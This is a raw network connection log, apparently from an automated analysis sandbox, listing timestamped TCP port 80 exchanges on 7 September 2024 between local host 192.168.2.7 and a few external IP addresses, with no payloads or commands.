Sep 7, 2024 15:29:38.097784042 CEST	80	49736	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.097796917 CEST	80	49733	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.097882032 CEST	49733	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:38.097892046 CEST	49736	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:38.098031044 CEST	49736	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:38.102737904 CEST	80	49736	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.610559940 CEST	80	49736	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.610701084 CEST	49736	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.362879038 CEST	49737	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:39.367762089 CEST	80	49737	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:39.367841005 CEST	49737	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:39.379849911 CEST	49737	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:39.384942055 CEST	80	49737	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:39.385008097 CEST	49737	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:39.385999918 CEST	49738	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.390804052 CEST	80	49738	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:39.390902996 CEST	49738	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.395159960 CEST	49738	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.399981022 CEST	80	49738	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:39.876562119 CEST	80	49738	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:39.876586914 CEST	80	49738	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:39.876652002 CEST	49738	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.876713037 CEST	49738	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.886670113 CEST	49736	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.886982918 CEST	49739	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.891815901 CEST	80	49739	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:39.891890049 CEST	80	49736	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:39.891891003 CEST	49739	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.891936064 CEST	49736	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.892160892 CEST	49739	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:39.896879911 CEST	80	49739	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:40.383346081 CEST	80	49739	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:40.383414984 CEST	49739	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.192722082 CEST	49740	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:41.197613001 CEST	80	49740	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:41.197691917 CEST	49740	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:41.197752953 CEST	49740	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:41.201483965 CEST	49741	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.202723980 CEST	80	49740	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:41.202790976 CEST	49740	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:41.206295013 CEST	80	49741	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:41.207402945 CEST	49741	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.207473993 CEST	49741	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.212357044 CEST	80	49741	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:41.696346045 CEST	80	49741	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:41.696398973 CEST	80	49741	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:41.696527004 CEST	49741	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.696634054 CEST	49741	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.697069883 CEST	49739	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.697496891 CEST	49742	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.702176094 CEST	80	49739	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:41.702246904 CEST	49739	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.702270031 CEST	80	49742	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:41.702331066 CEST	49742	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.702469110 CEST	49742	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:41.707221031 CEST	80	49742	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:42.192594051 CEST	80	49742	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:42.192703962 CEST	49742	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:42.624875069 CEST	49743	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:42.629717112 CEST	80	49743	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:42.629787922 CEST	49743	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:42.629904985 CEST	49743	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:42.633275032 CEST	49744	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:42.634898901 CEST	80	49743	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:42.634978056 CEST	49743	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:42.638103008 CEST	80	49744	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:42.638155937 CEST	49744	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:42.638231039 CEST	49744	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:42.642985106 CEST	80	49744	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.364311934 CEST	80	49744	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.364337921 CEST	80	49744	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.364347935 CEST	80	49744	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.364439011 CEST	49744	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.364466906 CEST	49744	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.364516020 CEST	49744	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.373753071 CEST	49742	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.374041080 CEST	49745	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.378962994 CEST	80	49742	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.379000902 CEST	80	49745	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.379021883 CEST	49742	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.379084110 CEST	49745	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.379220963 CEST	49745	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:43.383939981 CEST	80	49745	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.883483887 CEST	80	49745	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:43.883780956 CEST	49745	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.007781982 CEST	49746	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:44.012588024 CEST	80	49746	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:44.012651920 CEST	49746	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:44.012744904 CEST	49746	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:44.015997887 CEST	49747	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.017843962 CEST	80	49746	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:44.017901897 CEST	49746	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:44.020873070 CEST	80	49747	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:44.020961046 CEST	49747	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.035684109 CEST	49747	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.040582895 CEST	80	49747	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:44.536832094 CEST	80	49747	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:44.536863089 CEST	80	49747	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:44.536928892 CEST	49747	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.536974907 CEST	49747	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.537201881 CEST	49745	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.537506104 CEST	49748	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.542213917 CEST	80	49745	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:44.542236090 CEST	80	49748	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:44.542268038 CEST	49745	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.542308092 CEST	49748	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.542503119 CEST	49748	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:44.547240973 CEST	80	49748	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:45.041253090 CEST	80	49748	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:45.041379929 CEST	49748	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:49.565422058 CEST	49749	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:49.570334911 CEST	80	49749	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:49.570436001 CEST	49749	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:49.582639933 CEST	49749	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:49.586357117 CEST	49750	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:49.587672949 CEST	80	49749	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:49.587740898 CEST	49749	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:49.591267109 CEST	80	49750	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:49.591320992 CEST	49750	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:49.591413021 CEST	49750	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:49.596244097 CEST	80	49750	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.077774048 CEST	80	49750	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.077949047 CEST	80	49750	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.078011036 CEST	49750	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.079272985 CEST	49750	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.083436966 CEST	49748	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.083710909 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.088526011 CEST	80	49748	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.088596106 CEST	49748	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.088840961 CEST	80	49751	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.088896990 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.089030027 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.094829082 CEST	80	49751	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.635409117 CEST	80	49751	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.635626078 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.851804018 CEST	80	49751	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.851908922 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.860501051 CEST	49752	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:50.865375996 CEST	80	49752	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:50.865571022 CEST	49752	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:50.879556894 CEST	49752	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:50.883292913 CEST	49753	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.884591103 CEST	80	49752	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:50.884691954 CEST	49752	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:50.888247013 CEST	80	49753	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:50.888324022 CEST	49753	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.895118952 CEST	49753	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:50.899987936 CEST	80	49753	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.373778105 CEST	80	49753	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.374057055 CEST	80	49753	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.374073982 CEST	49753	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.374279976 CEST	49753	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.379209042 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.379816055 CEST	49754	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.384247065 CEST	80	49751	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.384293079 CEST	49751	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.384568930 CEST	80	49754	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.384627104 CEST	49754	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.384759903 CEST	49754	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:51.389766932 CEST	80	49754	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.876141071 CEST	80	49754	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:51.876286983 CEST	49754	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.190638065 CEST	49755	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:52.199738026 CEST	80	49755	64.70.19.203	192.168.2.7
Sep 7, 2024 15:29:52.199806929 CEST	49755	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:52.199939013 CEST	49755	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:52.203974962 CEST	49756	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.205296040 CEST	80	49755	64.70.19.203	192.168.2.7
Sep 7, 2024 15:29:52.205364943 CEST	49755	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:52.208928108 CEST	80	49756	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:52.208977938 CEST	49756	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.209079981 CEST	49756	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.214171886 CEST	80	49756	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:52.690037966 CEST	80	49756	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:52.690296888 CEST	80	49756	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:52.690397024 CEST	49756	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.690397978 CEST	49756	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.690566063 CEST	49754	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.690860987 CEST	49757	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.695806026 CEST	80	49754	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:52.695863962 CEST	49754	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.695867062 CEST	80	49757	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:52.695931911 CEST	49757	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.696084976 CEST	49757	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:52.701076031 CEST	80	49757	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:53.199676991 CEST	80	49757	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:53.199747086 CEST	49757	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:01.917985916 CEST	49759	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:01.922998905 CEST	80	49759	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:01.923070908 CEST	49759	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:01.923125982 CEST	49759	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:01.927136898 CEST	49760	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:01.928437948 CEST	80	49759	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:01.928502083 CEST	49759	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:01.931921005 CEST	80	49760	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:01.931982994 CEST	49760	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:01.932085991 CEST	49760	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:01.937179089 CEST	80	49760	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:02.449225903 CEST	80	49760	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:02.449259996 CEST	80	49760	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:02.449296951 CEST	49760	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.449377060 CEST	49760	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.461002111 CEST	49757	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.461416006 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.467201948 CEST	80	49761	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:02.467302084 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.467372894 CEST	80	49757	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:02.467406034 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.467426062 CEST	49757	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:02.472423077 CEST	80	49761	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:03.402889967 CEST	80	49761	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:03.402941942 CEST	80	49761	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:03.402973890 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:03.403009892 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:03.403420925 CEST	80	49761	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:03.403460026 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:03.671119928 CEST	49762	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:03.676321030 CEST	80	49762	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:03.676381111 CEST	49762	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:03.676464081 CEST	49762	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:03.679805994 CEST	49763	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:03.682459116 CEST	80	49762	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:03.682512045 CEST	49762	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:03.684663057 CEST	80	49763	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:03.684717894 CEST	49763	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:03.691984892 CEST	49763	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:03.697670937 CEST	80	49763	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.176145077 CEST	80	49763	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.177913904 CEST	49763	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.178834915 CEST	80	49763	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.178896904 CEST	49763	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.182945013 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.183192015 CEST	49764	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.188162088 CEST	80	49764	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.188235044 CEST	49764	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.188324928 CEST	49764	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.188560009 CEST	80	49761	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.188601971 CEST	49761	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:04.193203926 CEST	80	49764	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.674990892 CEST	80	49764	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:04.675044060 CEST	49764	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:09.880659103 CEST	49765	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:09.886042118 CEST	80	49765	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:09.886208057 CEST	49765	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:09.886310101 CEST	49765	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:09.889926910 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:09.891406059 CEST	80	49765	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:09.891467094 CEST	49765	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:09.894805908 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:09.894866943 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:09.894937992 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:09.899795055 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.292510033 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.292642117 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.293263912 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.293276072 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.293303967 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.293309927 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.293327093 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.293344021 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.294955015 CEST	80	49766	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.295005083 CEST	49766	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.298232079 CEST	49764	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.298470020 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.308585882 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.308604002 CEST	80	49764	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:11.308734894 CEST	49764	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.308734894 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.308944941 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:11.314143896 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:12.676616907 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:12.676666975 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:12.677371025 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:12.677414894 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:12.677736998 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:12.677778006 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:12.678222895 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:12.678258896 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:13.642251015 CEST	49768	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:13.647264004 CEST	80	49768	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:13.647344112 CEST	49768	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:13.647418976 CEST	49768	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:13.651177883 CEST	49769	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:13.652553082 CEST	80	49768	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:13.652617931 CEST	49768	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:13.656080008 CEST	80	49769	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:13.656146049 CEST	49769	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:13.660737038 CEST	49769	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:13.665879011 CEST	80	49769	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.151021957 CEST	80	49769	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.151154995 CEST	49769	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.151324034 CEST	80	49769	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.151375055 CEST	49769	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.156372070 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.156708956 CEST	49770	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.162353992 CEST	80	49767	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.162437916 CEST	49767	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.162755966 CEST	80	49770	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.162822962 CEST	49770	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.162961006 CEST	49770	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:14.168144941 CEST	80	49770	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.657762051 CEST	80	49770	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:14.657891035 CEST	49770	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:16.912275076 CEST	49771	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:16.917290926 CEST	80	49771	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:16.920248032 CEST	49771	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:16.926449060 CEST	49771	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:16.930219889 CEST	49772	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:16.931582928 CEST	80	49771	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:16.931911945 CEST	49771	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:16.935334921 CEST	80	49772	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:16.935431957 CEST	49772	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:16.935538054 CEST	49772	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:16.940772057 CEST	80	49772	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.450083017 CEST	80	49772	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.450401068 CEST	49772	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.450498104 CEST	80	49772	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.450542927 CEST	49772	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.459198952 CEST	49770	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.459472895 CEST	49773	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.464507103 CEST	80	49770	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.464518070 CEST	80	49773	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.464553118 CEST	49770	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.464656115 CEST	49773	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.464756012 CEST	49773	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:17.469708920 CEST	80	49773	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.961020947 CEST	80	49773	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:17.961100101 CEST	49773	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:18.094305038 CEST	49774	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:18.100191116 CEST	80	49774	88.198.29.97	192.168.2.7
Sep 7, 2024 15:30:18.100286007 CEST	49774	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:18.113912106 CEST	49774	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:30:18.119013071 CEST	80	49774	88.198.29.97	192.168.2.7
